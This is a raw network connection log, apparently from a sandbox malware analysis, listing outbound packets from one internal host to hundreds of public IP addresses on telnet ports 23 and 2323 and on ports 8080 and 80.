Mar 4, 2024 15:05:31.156554937 CET	47577	8080	192.168.2.13	85.79.92.56
Mar 4, 2024 15:05:31.156565905 CET	50393	23	192.168.2.13	126.177.123.198
Mar 4, 2024 15:05:31.156567097 CET	47577	8080	192.168.2.13	95.105.2.170
Mar 4, 2024 15:05:31.156567097 CET	47577	8080	192.168.2.13	95.162.106.105
Mar 4, 2024 15:05:31.156567097 CET	47577	8080	192.168.2.13	62.150.58.1
Mar 4, 2024 15:05:31.156567097 CET	47577	8080	192.168.2.13	95.48.166.128
Mar 4, 2024 15:05:31.156567097 CET	47577	8080	192.168.2.13	31.37.89.80
Mar 4, 2024 15:05:31.156567097 CET	47577	8080	192.168.2.13	94.49.189.190
Mar 4, 2024 15:05:31.156567097 CET	47577	8080	192.168.2.13	95.8.67.88
Mar 4, 2024 15:05:31.156567097 CET	47577	8080	192.168.2.13	31.8.252.226
Mar 4, 2024 15:05:31.156580925 CET	50393	23	192.168.2.13	152.27.193.177
Mar 4, 2024 15:05:31.156585932 CET	47577	8080	192.168.2.13	94.233.148.48
Mar 4, 2024 15:05:31.156585932 CET	50393	23	192.168.2.13	85.92.77.58
Mar 4, 2024 15:05:31.156585932 CET	50393	2323	192.168.2.13	108.205.17.59
Mar 4, 2024 15:05:31.156585932 CET	47577	8080	192.168.2.13	62.171.136.133
Mar 4, 2024 15:05:31.156585932 CET	47577	8080	192.168.2.13	95.222.45.157
Mar 4, 2024 15:05:31.156585932 CET	47577	8080	192.168.2.13	95.230.101.223
Mar 4, 2024 15:05:31.156585932 CET	47577	8080	192.168.2.13	62.83.149.117
Mar 4, 2024 15:05:31.156585932 CET	50393	2323	192.168.2.13	89.4.71.150
Mar 4, 2024 15:05:31.156630039 CET	47577	8080	192.168.2.13	94.104.219.236
Mar 4, 2024 15:05:31.156630039 CET	47577	8080	192.168.2.13	94.164.116.134
Mar 4, 2024 15:05:31.156630039 CET	50393	23	192.168.2.13	111.243.152.45
Mar 4, 2024 15:05:31.156630039 CET	47577	8080	192.168.2.13	94.158.171.27
Mar 4, 2024 15:05:31.156630039 CET	47577	8080	192.168.2.13	31.209.49.108
Mar 4, 2024 15:05:31.156630039 CET	50393	23	192.168.2.13	175.219.26.79
Mar 4, 2024 15:05:31.156630039 CET	47577	8080	192.168.2.13	94.210.186.139
Mar 4, 2024 15:05:31.156630039 CET	47577	8080	192.168.2.13	62.121.191.10
Mar 4, 2024 15:05:31.156646013 CET	50393	2323	192.168.2.13	61.44.151.155
Mar 4, 2024 15:05:31.156658888 CET	47577	8080	192.168.2.13	31.17.232.54
Mar 4, 2024 15:05:31.156658888 CET	50393	23	192.168.2.13	83.145.129.117
Mar 4, 2024 15:05:31.156658888 CET	50393	23	192.168.2.13	126.236.206.191
Mar 4, 2024 15:05:31.156658888 CET	47577	8080	192.168.2.13	85.106.213.142
Mar 4, 2024 15:05:31.156658888 CET	47577	8080	192.168.2.13	85.18.183.162
Mar 4, 2024 15:05:31.156658888 CET	47577	8080	192.168.2.13	85.240.75.139
Mar 4, 2024 15:05:31.156658888 CET	47577	8080	192.168.2.13	31.117.12.187
Mar 4, 2024 15:05:31.156658888 CET	47577	8080	192.168.2.13	94.169.13.10
Mar 4, 2024 15:05:31.156670094 CET	47577	8080	192.168.2.13	95.185.95.248
Mar 4, 2024 15:05:31.156670094 CET	50393	23	192.168.2.13	170.85.216.20
Mar 4, 2024 15:05:31.156670094 CET	47577	8080	192.168.2.13	85.85.127.36
Mar 4, 2024 15:05:31.156670094 CET	50393	23	192.168.2.13	161.131.61.250
Mar 4, 2024 15:05:31.156670094 CET	47577	8080	192.168.2.13	85.212.253.210
Mar 4, 2024 15:05:31.156670094 CET	47577	8080	192.168.2.13	31.107.83.49
Mar 4, 2024 15:05:31.156680107 CET	47577	8080	192.168.2.13	95.71.144.96
Mar 4, 2024 15:05:31.156691074 CET	47577	8080	192.168.2.13	94.236.222.250
Mar 4, 2024 15:05:31.156692982 CET	47577	8080	192.168.2.13	31.143.101.42
Mar 4, 2024 15:05:31.156693935 CET	47577	8080	192.168.2.13	95.221.153.157
Mar 4, 2024 15:05:31.156692982 CET	47577	8080	192.168.2.13	94.13.54.127
Mar 4, 2024 15:05:31.156693935 CET	47577	8080	192.168.2.13	95.150.50.2
Mar 4, 2024 15:05:31.156693935 CET	47577	8080	192.168.2.13	95.121.15.198
Mar 4, 2024 15:05:31.156692982 CET	47577	8080	192.168.2.13	62.64.192.230
Mar 4, 2024 15:05:31.156694889 CET	47577	8080	192.168.2.13	95.6.203.168
Mar 4, 2024 15:05:31.156694889 CET	50393	23	192.168.2.13	67.174.199.208
Mar 4, 2024 15:05:31.156692982 CET	47577	8080	192.168.2.13	85.46.118.239
Mar 4, 2024 15:05:31.156694889 CET	50393	23	192.168.2.13	213.72.63.155
Mar 4, 2024 15:05:31.156694889 CET	50393	23	192.168.2.13	101.4.29.17
Mar 4, 2024 15:05:31.156692982 CET	47577	8080	192.168.2.13	95.184.96.126
Mar 4, 2024 15:05:31.156694889 CET	47577	8080	192.168.2.13	31.113.227.236
Mar 4, 2024 15:05:31.156692982 CET	47577	8080	192.168.2.13	94.106.228.81
Mar 4, 2024 15:05:31.156692982 CET	50393	2323	192.168.2.13	66.240.225.124
Mar 4, 2024 15:05:31.156692982 CET	47577	8080	192.168.2.13	31.128.66.59
Mar 4, 2024 15:05:31.156723976 CET	47577	8080	192.168.2.13	31.1.22.78
Mar 4, 2024 15:05:31.156730890 CET	50393	23	192.168.2.13	80.38.11.149
Mar 4, 2024 15:05:31.156730890 CET	50393	23	192.168.2.13	186.222.130.216
Mar 4, 2024 15:05:31.156730890 CET	47577	8080	192.168.2.13	31.229.248.213
Mar 4, 2024 15:05:31.156730890 CET	47577	8080	192.168.2.13	62.178.51.77
Mar 4, 2024 15:05:31.156730890 CET	50393	23	192.168.2.13	129.133.191.113
Mar 4, 2024 15:05:31.156730890 CET	50393	23	192.168.2.13	191.12.46.169
Mar 4, 2024 15:05:31.156730890 CET	47577	8080	192.168.2.13	31.51.61.37
Mar 4, 2024 15:05:31.156730890 CET	50393	23	192.168.2.13	188.13.28.139
Mar 4, 2024 15:05:31.156739950 CET	50393	23	192.168.2.13	80.105.177.101
Mar 4, 2024 15:05:31.156739950 CET	47577	8080	192.168.2.13	85.55.13.14
Mar 4, 2024 15:05:31.156739950 CET	47577	8080	192.168.2.13	85.79.242.163
Mar 4, 2024 15:05:31.156742096 CET	47577	8080	192.168.2.13	85.254.26.234
Mar 4, 2024 15:05:31.156739950 CET	50393	23	192.168.2.13	51.218.188.196
Mar 4, 2024 15:05:31.156740904 CET	50393	23	192.168.2.13	124.223.54.49
Mar 4, 2024 15:05:31.156739950 CET	47577	8080	192.168.2.13	95.131.97.29
Mar 4, 2024 15:05:31.156739950 CET	47577	8080	192.168.2.13	94.148.49.142
Mar 4, 2024 15:05:31.156739950 CET	50393	23	192.168.2.13	87.42.16.83
Mar 4, 2024 15:05:31.156740904 CET	47577	8080	192.168.2.13	31.22.240.229
Mar 4, 2024 15:05:31.156744003 CET	47577	8080	192.168.2.13	85.163.148.145
Mar 4, 2024 15:05:31.156740904 CET	50393	23	192.168.2.13	139.239.232.229
Mar 4, 2024 15:05:31.156744003 CET	47577	8080	192.168.2.13	31.78.90.250
Mar 4, 2024 15:05:31.156739950 CET	50393	23	192.168.2.13	97.45.88.55
Mar 4, 2024 15:05:31.156744003 CET	47577	8080	192.168.2.13	62.185.11.61
Mar 4, 2024 15:05:31.156740904 CET	50393	23	192.168.2.13	19.107.47.68
Mar 4, 2024 15:05:31.156740904 CET	47577	8080	192.168.2.13	31.14.186.101
Mar 4, 2024 15:05:31.156740904 CET	47577	8080	192.168.2.13	31.28.203.28
Mar 4, 2024 15:05:31.156742096 CET	47577	8080	192.168.2.13	31.61.74.71
Mar 4, 2024 15:05:31.156742096 CET	47577	8080	192.168.2.13	94.32.185.26
Mar 4, 2024 15:05:31.156771898 CET	47577	8080	192.168.2.13	85.24.36.135
Mar 4, 2024 15:05:31.156771898 CET	47577	8080	192.168.2.13	62.213.56.15
Mar 4, 2024 15:05:31.156771898 CET	47577	8080	192.168.2.13	94.161.97.137
Mar 4, 2024 15:05:31.156771898 CET	47577	8080	192.168.2.13	85.196.37.95
Mar 4, 2024 15:05:31.156771898 CET	50393	23	192.168.2.13	159.81.105.63
Mar 4, 2024 15:05:31.156771898 CET	47577	8080	192.168.2.13	95.122.102.73
Mar 4, 2024 15:05:31.156774998 CET	47577	8080	192.168.2.13	62.228.177.76
Mar 4, 2024 15:05:31.156774998 CET	47577	8080	192.168.2.13	94.38.73.233
Mar 4, 2024 15:05:31.156774998 CET	50393	23	192.168.2.13	104.82.151.160
Mar 4, 2024 15:05:31.156774998 CET	50393	23	192.168.2.13	75.250.146.33
Mar 4, 2024 15:05:31.156774998 CET	47577	8080	192.168.2.13	62.25.161.118
Mar 4, 2024 15:05:31.156774998 CET	47577	8080	192.168.2.13	94.246.19.88
Mar 4, 2024 15:05:31.156774998 CET	47577	8080	192.168.2.13	95.31.221.254
Mar 4, 2024 15:05:31.156774998 CET	50393	23	192.168.2.13	150.59.112.24
Mar 4, 2024 15:05:31.156779051 CET	50393	23	192.168.2.13	115.217.244.3
Mar 4, 2024 15:05:31.156779051 CET	50393	2323	192.168.2.13	102.71.49.44
Mar 4, 2024 15:05:31.156779051 CET	50393	23	192.168.2.13	96.218.199.154
Mar 4, 2024 15:05:31.156807899 CET	50393	23	192.168.2.13	151.170.237.76
Mar 4, 2024 15:05:31.156807899 CET	50393	23	192.168.2.13	89.230.245.200
Mar 4, 2024 15:05:31.156807899 CET	47577	8080	192.168.2.13	62.220.24.21
Mar 4, 2024 15:05:31.156807899 CET	47577	8080	192.168.2.13	31.110.49.90
Mar 4, 2024 15:05:31.156807899 CET	50393	23	192.168.2.13	166.250.147.85
Mar 4, 2024 15:05:31.156812906 CET	50393	23	192.168.2.13	223.228.216.70
Mar 4, 2024 15:05:31.156812906 CET	47577	8080	192.168.2.13	94.90.71.154
Mar 4, 2024 15:05:31.156812906 CET	50393	23	192.168.2.13	151.174.125.57
Mar 4, 2024 15:05:31.156824112 CET	50393	23	192.168.2.13	64.39.97.113
Mar 4, 2024 15:05:31.156824112 CET	47577	8080	192.168.2.13	31.143.35.133
Mar 4, 2024 15:05:31.156824112 CET	47577	8080	192.168.2.13	62.222.3.15
Mar 4, 2024 15:05:31.156824112 CET	50393	23	192.168.2.13	60.52.58.216
Mar 4, 2024 15:05:31.156824112 CET	50393	23	192.168.2.13	79.71.60.68
Mar 4, 2024 15:05:31.156824112 CET	47577	8080	192.168.2.13	95.203.126.242
Mar 4, 2024 15:05:31.156824112 CET	47577	8080	192.168.2.13	62.229.137.45
Mar 4, 2024 15:05:31.156824112 CET	47577	8080	192.168.2.13	85.138.216.113
Mar 4, 2024 15:05:31.156841993 CET	47577	8080	192.168.2.13	94.213.61.3
Mar 4, 2024 15:05:31.156841993 CET	50393	23	192.168.2.13	152.251.104.178
Mar 4, 2024 15:05:31.156842947 CET	47577	8080	192.168.2.13	95.3.183.174
Mar 4, 2024 15:05:31.156841993 CET	47577	8080	192.168.2.13	62.48.28.215
Mar 4, 2024 15:05:31.156842947 CET	50393	23	192.168.2.13	96.34.213.42
Mar 4, 2024 15:05:31.156841993 CET	47577	8080	192.168.2.13	85.118.7.104
Mar 4, 2024 15:05:31.156842947 CET	50393	23	192.168.2.13	220.70.70.31
Mar 4, 2024 15:05:31.156841993 CET	47577	8080	192.168.2.13	95.48.155.76
Mar 4, 2024 15:05:31.156848907 CET	50393	2323	192.168.2.13	164.32.152.242
Mar 4, 2024 15:05:31.156842947 CET	47577	8080	192.168.2.13	62.232.251.59
Mar 4, 2024 15:05:31.156848907 CET	47577	8080	192.168.2.13	95.157.136.28
Mar 4, 2024 15:05:31.156842947 CET	50393	23	192.168.2.13	77.250.23.26
Mar 4, 2024 15:05:31.156843901 CET	50393	23	192.168.2.13	216.143.47.188
Mar 4, 2024 15:05:31.156872988 CET	50393	23	192.168.2.13	64.23.233.223
Mar 4, 2024 15:05:31.156872988 CET	47577	8080	192.168.2.13	94.163.232.233
Mar 4, 2024 15:05:31.156872988 CET	50393	23	192.168.2.13	202.32.30.183
Mar 4, 2024 15:05:31.156872988 CET	47577	8080	192.168.2.13	95.102.218.97
Mar 4, 2024 15:05:31.156877041 CET	47577	8080	192.168.2.13	94.191.81.163
Mar 4, 2024 15:05:31.156877041 CET	47577	8080	192.168.2.13	31.99.211.175
Mar 4, 2024 15:05:31.156877041 CET	47577	8080	192.168.2.13	31.193.54.145
Mar 4, 2024 15:05:31.156877041 CET	50393	23	192.168.2.13	108.163.252.60
Mar 4, 2024 15:05:31.156877995 CET	50393	23	192.168.2.13	211.97.195.12
Mar 4, 2024 15:05:31.156877995 CET	47577	8080	192.168.2.13	62.38.104.93
Mar 4, 2024 15:05:31.156879902 CET	47577	8080	192.168.2.13	94.97.175.78
Mar 4, 2024 15:05:31.156877995 CET	50393	23	192.168.2.13	135.237.118.168
Mar 4, 2024 15:05:31.156879902 CET	50393	23	192.168.2.13	146.115.53.215
Mar 4, 2024 15:05:31.156877995 CET	47577	8080	192.168.2.13	62.207.53.208
Mar 4, 2024 15:05:31.156903028 CET	47577	8080	192.168.2.13	85.31.150.65
Mar 4, 2024 15:05:31.156903028 CET	50393	23	192.168.2.13	100.62.28.13
Mar 4, 2024 15:05:31.156903028 CET	47577	8080	192.168.2.13	85.22.77.236
Mar 4, 2024 15:05:31.156917095 CET	47577	8080	192.168.2.13	94.184.157.198
Mar 4, 2024 15:05:31.156934023 CET	47577	8080	192.168.2.13	85.15.178.117
Mar 4, 2024 15:05:31.156934023 CET	47577	8080	192.168.2.13	62.64.91.215
Mar 4, 2024 15:05:31.156934977 CET	47577	8080	192.168.2.13	31.64.6.205
Mar 4, 2024 15:05:31.156934023 CET	47577	8080	192.168.2.13	94.200.213.123
Mar 4, 2024 15:05:31.156934023 CET	47577	8080	192.168.2.13	62.103.1.27
Mar 4, 2024 15:05:31.156939030 CET	47577	8080	192.168.2.13	31.100.70.6
Mar 4, 2024 15:05:31.156939030 CET	47577	8080	192.168.2.13	62.155.246.196
Mar 4, 2024 15:05:31.156939030 CET	47577	8080	192.168.2.13	62.17.91.189
Mar 4, 2024 15:05:31.156939030 CET	50393	23	192.168.2.13	83.141.13.162
Mar 4, 2024 15:05:31.156939030 CET	50393	23	192.168.2.13	76.184.190.70
Mar 4, 2024 15:05:31.156939030 CET	47577	8080	192.168.2.13	31.78.139.112
Mar 4, 2024 15:05:31.156939030 CET	47577	8080	192.168.2.13	85.214.105.234
Mar 4, 2024 15:05:31.156939030 CET	50393	23	192.168.2.13	182.207.75.96
Mar 4, 2024 15:05:31.156953096 CET	47577	8080	192.168.2.13	31.5.175.161
Mar 4, 2024 15:05:31.156953096 CET	47577	8080	192.168.2.13	94.203.205.248
Mar 4, 2024 15:05:31.156953096 CET	47577	8080	192.168.2.13	94.227.133.9
Mar 4, 2024 15:05:31.156955004 CET	50393	23	192.168.2.13	170.76.44.184
Mar 4, 2024 15:05:31.156965017 CET	50393	23	192.168.2.13	60.230.27.164
Mar 4, 2024 15:05:31.156965017 CET	47577	8080	192.168.2.13	85.50.195.110
Mar 4, 2024 15:05:31.156965017 CET	47577	8080	192.168.2.13	94.40.63.12
Mar 4, 2024 15:05:31.156965017 CET	47577	8080	192.168.2.13	94.146.220.123
Mar 4, 2024 15:05:31.156965017 CET	50393	2323	192.168.2.13	204.107.197.230
Mar 4, 2024 15:05:31.156965017 CET	50393	23	192.168.2.13	95.187.73.194
Mar 4, 2024 15:05:31.156965017 CET	50393	23	192.168.2.13	8.153.75.255
Mar 4, 2024 15:05:31.156965017 CET	50393	23	192.168.2.13	43.70.137.67
Mar 4, 2024 15:05:31.156968117 CET	50393	23	192.168.2.13	163.66.164.47
Mar 4, 2024 15:05:31.156969070 CET	47577	8080	192.168.2.13	94.242.19.153
Mar 4, 2024 15:05:31.156977892 CET	47577	8080	192.168.2.13	95.205.69.199
Mar 4, 2024 15:05:31.156990051 CET	47577	8080	192.168.2.13	94.128.126.73
Mar 4, 2024 15:05:31.156990051 CET	50393	23	192.168.2.13	183.68.239.110
Mar 4, 2024 15:05:31.156990051 CET	50393	23	192.168.2.13	145.154.180.167
Mar 4, 2024 15:05:31.156991959 CET	50393	23	192.168.2.13	73.213.92.68
Mar 4, 2024 15:05:31.157017946 CET	50393	23	192.168.2.13	188.234.234.87
Mar 4, 2024 15:05:31.157021999 CET	50393	23	192.168.2.13	80.227.100.19
Mar 4, 2024 15:05:31.157021999 CET	47577	8080	192.168.2.13	95.26.94.157
Mar 4, 2024 15:05:31.157021999 CET	50393	23	192.168.2.13	205.157.119.70
Mar 4, 2024 15:05:31.157021999 CET	47577	8080	192.168.2.13	94.73.217.22
Mar 4, 2024 15:05:31.157021999 CET	47577	8080	192.168.2.13	94.168.81.7
Mar 4, 2024 15:05:31.157021999 CET	47577	8080	192.168.2.13	85.114.229.63
Mar 4, 2024 15:05:31.157028913 CET	47577	8080	192.168.2.13	62.207.124.23
Mar 4, 2024 15:05:31.157028913 CET	50393	23	192.168.2.13	91.74.116.209
Mar 4, 2024 15:05:31.157028913 CET	47577	8080	192.168.2.13	95.161.129.140
Mar 4, 2024 15:05:31.157028913 CET	50393	23	192.168.2.13	155.31.58.84
Mar 4, 2024 15:05:31.157028913 CET	47577	8080	192.168.2.13	62.212.42.64
Mar 4, 2024 15:05:31.157028913 CET	50393	23	192.168.2.13	14.147.3.237
Mar 4, 2024 15:05:31.157028913 CET	50393	23	192.168.2.13	159.206.237.219
Mar 4, 2024 15:05:31.157030106 CET	47577	8080	192.168.2.13	85.2.167.163
Mar 4, 2024 15:05:31.157037973 CET	50393	23	192.168.2.13	140.130.118.137
Mar 4, 2024 15:05:31.157037973 CET	50393	23	192.168.2.13	177.92.15.248
Mar 4, 2024 15:05:31.157037973 CET	50393	23	192.168.2.13	5.193.84.66
Mar 4, 2024 15:05:31.157037973 CET	47577	8080	192.168.2.13	31.17.186.160
Mar 4, 2024 15:05:31.157037973 CET	50393	23	192.168.2.13	93.154.15.33
Mar 4, 2024 15:05:31.157037973 CET	47577	8080	192.168.2.13	31.105.239.193
Mar 4, 2024 15:05:31.157037973 CET	47577	8080	192.168.2.13	95.180.64.35
Mar 4, 2024 15:05:31.157037973 CET	50393	23	192.168.2.13	171.72.106.176
Mar 4, 2024 15:05:31.157044888 CET	47577	8080	192.168.2.13	95.219.4.205
Mar 4, 2024 15:05:31.157044888 CET	50393	23	192.168.2.13	61.191.56.3
Mar 4, 2024 15:05:31.157044888 CET	47577	8080	192.168.2.13	31.178.252.95
Mar 4, 2024 15:05:31.157054901 CET	47577	8080	192.168.2.13	94.216.102.12
Mar 4, 2024 15:05:31.157064915 CET	47577	8080	192.168.2.13	85.142.182.66
Mar 4, 2024 15:05:31.157066107 CET	47577	8080	192.168.2.13	31.246.67.90
Mar 4, 2024 15:05:31.157066107 CET	47577	8080	192.168.2.13	31.145.62.208
Mar 4, 2024 15:05:31.157066107 CET	47577	8080	192.168.2.13	85.131.69.123
Mar 4, 2024 15:05:31.157066107 CET	50393	2323	192.168.2.13	113.181.129.251
Mar 4, 2024 15:05:31.157071114 CET	50393	23	192.168.2.13	43.255.31.179
Mar 4, 2024 15:05:31.157066107 CET	47577	8080	192.168.2.13	94.222.55.43
Mar 4, 2024 15:05:31.157071114 CET	47577	8080	192.168.2.13	94.211.251.19
Mar 4, 2024 15:05:31.157071114 CET	47577	8080	192.168.2.13	85.255.130.158
Mar 4, 2024 15:05:31.157066107 CET	50393	23	192.168.2.13	17.82.204.173
Mar 4, 2024 15:05:31.157071114 CET	47577	8080	192.168.2.13	31.38.161.20
Mar 4, 2024 15:05:31.157077074 CET	50393	23	192.168.2.13	141.22.27.51
Mar 4, 2024 15:05:31.157066107 CET	47577	8080	192.168.2.13	31.58.150.183
Mar 4, 2024 15:05:31.157071114 CET	50393	23	192.168.2.13	64.220.47.150
Mar 4, 2024 15:05:31.157074928 CET	47577	8080	192.168.2.13	85.142.168.241
Mar 4, 2024 15:05:31.157071114 CET	50393	23	192.168.2.13	47.172.189.249
Mar 4, 2024 15:05:31.157078028 CET	50393	23	192.168.2.13	101.77.121.109
Mar 4, 2024 15:05:31.157071114 CET	47577	8080	192.168.2.13	95.24.83.90
Mar 4, 2024 15:05:31.157071114 CET	47577	8080	192.168.2.13	31.42.229.5
Mar 4, 2024 15:05:31.157078981 CET	47577	8080	192.168.2.13	31.146.151.190
Mar 4, 2024 15:05:31.157078981 CET	47577	8080	192.168.2.13	85.107.5.120
Mar 4, 2024 15:05:31.157078981 CET	47577	8080	192.168.2.13	95.225.183.189
Mar 4, 2024 15:05:31.157078981 CET	47577	8080	192.168.2.13	94.44.30.175
Mar 4, 2024 15:05:31.157078981 CET	50393	23	192.168.2.13	159.171.233.79
Mar 4, 2024 15:05:31.157078981 CET	50393	2323	192.168.2.13	140.157.131.60
Mar 4, 2024 15:05:31.157078981 CET	47577	8080	192.168.2.13	95.172.138.79
Mar 4, 2024 15:05:31.157094002 CET	47577	8080	192.168.2.13	31.41.220.116
Mar 4, 2024 15:05:31.157094002 CET	47577	8080	192.168.2.13	62.95.12.161
Mar 4, 2024 15:05:31.157094955 CET	47577	8080	192.168.2.13	94.228.155.38
Mar 4, 2024 15:05:31.157100916 CET	50393	23	192.168.2.13	2.232.153.145
Mar 4, 2024 15:05:31.157100916 CET	47577	8080	192.168.2.13	95.159.22.59
Mar 4, 2024 15:05:31.157100916 CET	47577	8080	192.168.2.13	85.122.190.164
Mar 4, 2024 15:05:31.157100916 CET	47577	8080	192.168.2.13	95.85.200.164
Mar 4, 2024 15:05:31.157100916 CET	47577	8080	192.168.2.13	94.209.78.141
Mar 4, 2024 15:05:31.157100916 CET	50393	23	192.168.2.13	53.86.223.215
Mar 4, 2024 15:05:31.157100916 CET	47577	8080	192.168.2.13	31.125.105.46
Mar 4, 2024 15:05:31.157103062 CET	47577	8080	192.168.2.13	31.221.202.244
Mar 4, 2024 15:05:31.157103062 CET	47577	8080	192.168.2.13	95.25.250.161
Mar 4, 2024 15:05:31.157104015 CET	47577	8080	192.168.2.13	85.138.151.118
Mar 4, 2024 15:05:31.157104015 CET	50393	2323	192.168.2.13	161.82.218.111
Mar 4, 2024 15:05:31.157130003 CET	50393	23	192.168.2.13	123.157.95.214
Mar 4, 2024 15:05:31.157152891 CET	47577	8080	192.168.2.13	85.101.249.119
Mar 4, 2024 15:05:31.157152891 CET	50393	23	192.168.2.13	94.77.155.33
Mar 4, 2024 15:05:31.157161951 CET	47577	8080	192.168.2.13	95.140.95.47
Mar 4, 2024 15:05:31.157161951 CET	47577	8080	192.168.2.13	85.137.170.174
Mar 4, 2024 15:05:31.157161951 CET	50393	23	192.168.2.13	99.4.29.129
Mar 4, 2024 15:05:31.157161951 CET	50393	23	192.168.2.13	44.110.233.123
Mar 4, 2024 15:05:31.157161951 CET	50393	23	192.168.2.13	200.219.8.240
Mar 4, 2024 15:05:31.157161951 CET	50393	23	192.168.2.13	192.32.44.162
Mar 4, 2024 15:05:31.157161951 CET	47577	8080	192.168.2.13	31.49.110.49
Mar 4, 2024 15:05:31.157161951 CET	47577	8080	192.168.2.13	94.86.140.85
Mar 4, 2024 15:05:31.157170057 CET	47577	8080	192.168.2.13	85.99.188.159
Mar 4, 2024 15:05:31.157170057 CET	47577	8080	192.168.2.13	62.95.196.128
Mar 4, 2024 15:05:31.157170057 CET	50393	23	192.168.2.13	217.24.42.224
Mar 4, 2024 15:05:31.157170057 CET	50393	2323	192.168.2.13	54.49.148.42
Mar 4, 2024 15:05:31.157170057 CET	47577	8080	192.168.2.13	95.199.143.117
Mar 4, 2024 15:05:31.157170057 CET	47577	8080	192.168.2.13	31.75.0.111
Mar 4, 2024 15:05:31.157180071 CET	50393	23	192.168.2.13	186.32.46.0
Mar 4, 2024 15:05:31.157180071 CET	50393	23	192.168.2.13	131.36.249.247
Mar 4, 2024 15:05:31.157180071 CET	50393	23	192.168.2.13	32.182.142.166
Mar 4, 2024 15:05:31.157180071 CET	47577	8080	192.168.2.13	85.64.248.34
Mar 4, 2024 15:05:31.157180071 CET	47577	8080	192.168.2.13	95.209.14.192
Mar 4, 2024 15:05:31.157198906 CET	47577	8080	192.168.2.13	85.254.159.125
Mar 4, 2024 15:05:31.157222033 CET	47577	8080	192.168.2.13	95.247.51.112
Mar 4, 2024 15:05:31.157233000 CET	47577	8080	192.168.2.13	62.37.165.55
Mar 4, 2024 15:05:31.157233000 CET	47577	8080	192.168.2.13	85.89.168.12
Mar 4, 2024 15:05:31.157233000 CET	47577	8080	192.168.2.13	31.148.9.18
Mar 4, 2024 15:05:31.157244921 CET	47577	8080	192.168.2.13	31.15.141.129
Mar 4, 2024 15:05:31.157244921 CET	47577	8080	192.168.2.13	94.80.2.205
Mar 4, 2024 15:05:31.157244921 CET	47577	8080	192.168.2.13	62.80.175.133
Mar 4, 2024 15:05:31.157252073 CET	47577	8080	192.168.2.13	95.59.117.84
Mar 4, 2024 15:05:31.157252073 CET	47577	8080	192.168.2.13	62.27.126.180
Mar 4, 2024 15:05:31.157252073 CET	50393	23	192.168.2.13	210.160.135.30
Mar 4, 2024 15:05:31.157252073 CET	47577	8080	192.168.2.13	94.9.101.198
Mar 4, 2024 15:05:31.157252073 CET	47577	8080	192.168.2.13	95.19.103.138
Mar 4, 2024 15:05:31.157254934 CET	47577	8080	192.168.2.13	85.165.217.59
Mar 4, 2024 15:05:31.157252073 CET	47577	8080	192.168.2.13	94.122.21.118
Mar 4, 2024 15:05:31.157254934 CET	47577	8080	192.168.2.13	85.240.175.29
Mar 4, 2024 15:05:31.157252073 CET	47577	8080	192.168.2.13	62.181.51.118
Mar 4, 2024 15:05:31.157252073 CET	47577	8080	192.168.2.13	94.70.151.145
Mar 4, 2024 15:05:31.157252073 CET	50393	23	192.168.2.13	130.255.47.110
Mar 4, 2024 15:05:31.157263041 CET	50393	23	192.168.2.13	180.164.114.251
Mar 4, 2024 15:05:31.157263994 CET	47577	8080	192.168.2.13	62.174.81.10
Mar 4, 2024 15:05:31.157263041 CET	50393	23	192.168.2.13	142.226.98.200
Mar 4, 2024 15:05:31.157263041 CET	50393	23	192.168.2.13	146.203.134.169
Mar 4, 2024 15:05:31.157263041 CET	47577	8080	192.168.2.13	62.154.194.245
Mar 4, 2024 15:05:31.157263041 CET	47577	8080	192.168.2.13	95.246.74.121
Mar 4, 2024 15:05:31.157263041 CET	47577	8080	192.168.2.13	31.5.67.32
Mar 4, 2024 15:05:31.157263041 CET	47577	8080	192.168.2.13	95.186.69.138
Mar 4, 2024 15:05:31.157263041 CET	47577	8080	192.168.2.13	62.204.186.43
Mar 4, 2024 15:05:31.157279015 CET	50393	23	192.168.2.13	220.212.233.178
Mar 4, 2024 15:05:31.157279015 CET	50393	23	192.168.2.13	130.33.64.121
Mar 4, 2024 15:05:31.157279015 CET	50393	23	192.168.2.13	97.206.245.36
Mar 4, 2024 15:05:31.157282114 CET	47577	8080	192.168.2.13	85.50.241.79
Mar 4, 2024 15:05:31.157279015 CET	47577	8080	192.168.2.13	95.88.142.26
Mar 4, 2024 15:05:31.157279968 CET	50393	23	192.168.2.13	19.71.69.127
Mar 4, 2024 15:05:31.157279968 CET	47577	8080	192.168.2.13	95.63.233.223
Mar 4, 2024 15:05:31.157279968 CET	50393	23	192.168.2.13	83.50.254.57
Mar 4, 2024 15:05:31.157279968 CET	47577	8080	192.168.2.13	31.146.51.166
Mar 4, 2024 15:05:31.157286882 CET	47577	8080	192.168.2.13	94.154.171.38
Mar 4, 2024 15:05:31.157289028 CET	47577	8080	192.168.2.13	85.191.90.202
Mar 4, 2024 15:05:31.157286882 CET	47577	8080	192.168.2.13	62.195.30.228
Mar 4, 2024 15:05:31.157289028 CET	47577	8080	192.168.2.13	94.93.255.182
Mar 4, 2024 15:05:31.157286882 CET	47577	8080	192.168.2.13	62.141.19.216
Mar 4, 2024 15:05:31.157289028 CET	47577	8080	192.168.2.13	31.100.189.14
Mar 4, 2024 15:05:31.157286882 CET	47577	8080	192.168.2.13	95.92.249.220
Mar 4, 2024 15:05:31.157286882 CET	47577	8080	192.168.2.13	94.158.44.231
Mar 4, 2024 15:05:31.157286882 CET	47577	8080	192.168.2.13	31.41.42.69
Mar 4, 2024 15:05:31.157288074 CET	47577	8080	192.168.2.13	85.189.230.153
Mar 4, 2024 15:05:31.157309055 CET	48089	80	192.168.2.13	88.207.192.114
Mar 4, 2024 15:05:31.157309055 CET	47577	8080	192.168.2.13	31.70.240.83
Mar 4, 2024 15:05:31.157320023 CET	47577	8080	192.168.2.13	62.144.58.42
Mar 4, 2024 15:05:31.157329082 CET	47577	8080	192.168.2.13	62.63.244.25
Mar 4, 2024 15:05:31.157329082 CET	47577	8080	192.168.2.13	85.117.180.223
Mar 4, 2024 15:05:31.157335997 CET	47577	8080	192.168.2.13	62.80.0.60
Mar 4, 2024 15:05:31.157341003 CET	47577	8080	192.168.2.13	31.37.73.188
Mar 4, 2024 15:05:31.157355070 CET	47577	8080	192.168.2.13	94.229.108.21
Mar 4, 2024 15:05:31.157356977 CET	48089	80	192.168.2.13	88.224.152.154
Mar 4, 2024 15:05:31.157356977 CET	47577	8080	192.168.2.13	62.242.248.118
Mar 4, 2024 15:05:31.157356977 CET	48089	80	192.168.2.13	88.130.120.154
Mar 4, 2024 15:05:31.157368898 CET	47577	8080	192.168.2.13	62.222.235.60
Mar 4, 2024 15:05:31.157385111 CET	47577	8080	192.168.2.13	85.178.227.29
Mar 4, 2024 15:05:31.157396078 CET	47577	8080	192.168.2.13	62.184.254.104
